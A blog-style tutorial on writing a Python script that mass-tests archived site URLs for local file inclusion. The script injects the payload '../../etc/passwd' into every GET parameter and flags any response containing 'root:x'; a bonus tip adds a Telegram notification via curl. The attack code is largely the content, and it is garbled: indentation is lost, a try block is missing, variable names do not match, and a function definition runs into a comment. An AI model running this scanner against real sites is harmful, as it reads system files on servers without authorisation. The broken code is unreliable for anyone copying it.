How to write simple script to automate finding bugs

Today, I will talk about how to write a simple Python script to automate finding bugs. I will take a sample:> “LFI findings”.


1. Requirements

3. Useful tools like [GF / GF-Patterns /Uro ] and you can get them from GitHub

Let’s get started…


At the first we need to understand that we will try to exploit some GET parameters through the collected GET URLs, so we will not cover all the application functions, we still have a bunch of POST requests which have parameters may be vulnerable also, so don’t depend 100% on what we will do, PLEASE!

2. URLs Prerequisites

Before we get started, we need to know why we need to use GF/GF-Patterns/Uro ?

If we have a file contains 1M link with parameters, so it’s possible that there’s a 60% or more similar links, and it will waste your time, for example

Although the parameters are the same, so we need just one of them, and this is the job of uro tool, also you can use dpfilter which will do the same job.

cat waybackurls.txt | uro > uro_output
cat waybackurls.txt | dpfilter > dpfilter_output

After filtering the URLs, we need to filter them again depends on popular parameters names, for example

The first URL seems to be vulnerable to LFI but the second URL is not, depending on the parameter name we can expect what’s the possible vulnerable links.

$ cat uro_output | gf lfi > lfi_gf.txt

3. Coding

It’s time to start coding

At the first we need these libraries:

import exurl #replacing parameter values
import sys #system library
import requests #send web requests
from termcolor import colored #coloring
from tqdm import tqdm #create progress bar

Let’s know more about exurl..

exurl used to put your payload at every parameter in the URL, for example if we have a URL like this one, so we need to put out payload which will be ../../../../etc/passwd at every parameter to create 2 URLs. So what’s the differences between exurl library and qsreplace tool

Here’e the differences


Now, you can know what I mean by replacing every parameter with different URLs, not replacing them at the same URL.

The second step is to take the URLs file from the user using sys library and remember that the file MUST contain only links with parameters because there are our scope.

file = sys.argv[1] # Usage: python3 <file>

The next step is to create a function which will divide every URL into separated URLs and replace at every parameter the payload as we demonstrated above by using exurl , got it?

# put your payload at a variable 
payload = "../../etc/passwd"
# create a function, you can check the library usage from its docs
def split_file(file, payload):
with open(file, 'r') as links:
splitting_urls = exurl.split_urls(links, payload)
return splitted_urls
# Calling the function
splitted_urls = split_file(file, payload)

As you can see, it will take the file, replace every parameter’s value and return the output at array called splitted_urls

The next step is to create another function which will take the splitted_urls and send a request to every payloaded URL and check if the payload works or not.

# create a variable contain user-agent to avoid simulate normal request
user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
# create a proxy [It's not required]
proxies = {
"http": ""
#start the function which will send a GET request to each URLdef send_request(URL):
line = line.rstrip()
headers = {"User-Agent": user_agent}
r = requests.get(line, headers=headers, proxies=proxies, verify=False, timeout=15) # Sending GET request
content = r.content # GET Page source code
if b"root:x" in content:
print(colored("\n\n[+] Vulnerable :> ", 'red') + line + "\n")
except KeyboardInterrupt:
except Exception as error:
# If you have an error, it will print it
print(line, error)

So, until now we have 2 functions, one for URL splitting and the other one for sending request to every URL.

If you wonder why the second function didn’t take a list of URL and send a request over a loop instead of taking URL by URL, Actually, it’s depends on the usage of progress bar function.

The final step is to create a function to check out progress and set a progress bar.

# Calculate the final array length 
array_length = len(splitted_urls)
# Progress function
for i in tqdm(range(array_length), desc="Loading...", ascii=False, ncols=75):
line = splitted_urls[i] # Take the first URL
send_request(line) # Call the function
print(colored("\nEslam! We have finished\n", "green", attrs=['bold'])) # Print this message after you have done.

Let’s take a summary of what we have or what we have done, At the first we take a file of URLs with parameters and pass them to exurl library which replaces every parameter’s value with the payload ../../../../etc/passwd

After that it will call a function to send a request to every payloaded URL and check if we have a custom word in the response or not, it we have it will print the vulnerable URL, it not it will pass to another one.

And to know our progress, we have created a progress bar to know what’s the percentage of the finished URLs and the expected time to finish the process.

The final code will be

After tried it with file contains 21 links and after exurl create 28 links, we have discovered a vulnerable link

Bonus options

import random 
user_agent_list = ["Multiple User Agents"]
user_agent_random =random.choice(user_agent_list)
headers = {"User-Agent": str(user_agent_random)}

3. You can use Telegram bot token to inform you if it discovers a vulnerable link or if it finished, use subprocess library to execute curl command.'curl -s "<token>/sendMessage?chat_id=<chat-id>&text="Message"', shell=True)

Thanks to

Abdulrhman Kamel for his great library exurl and his efforts.

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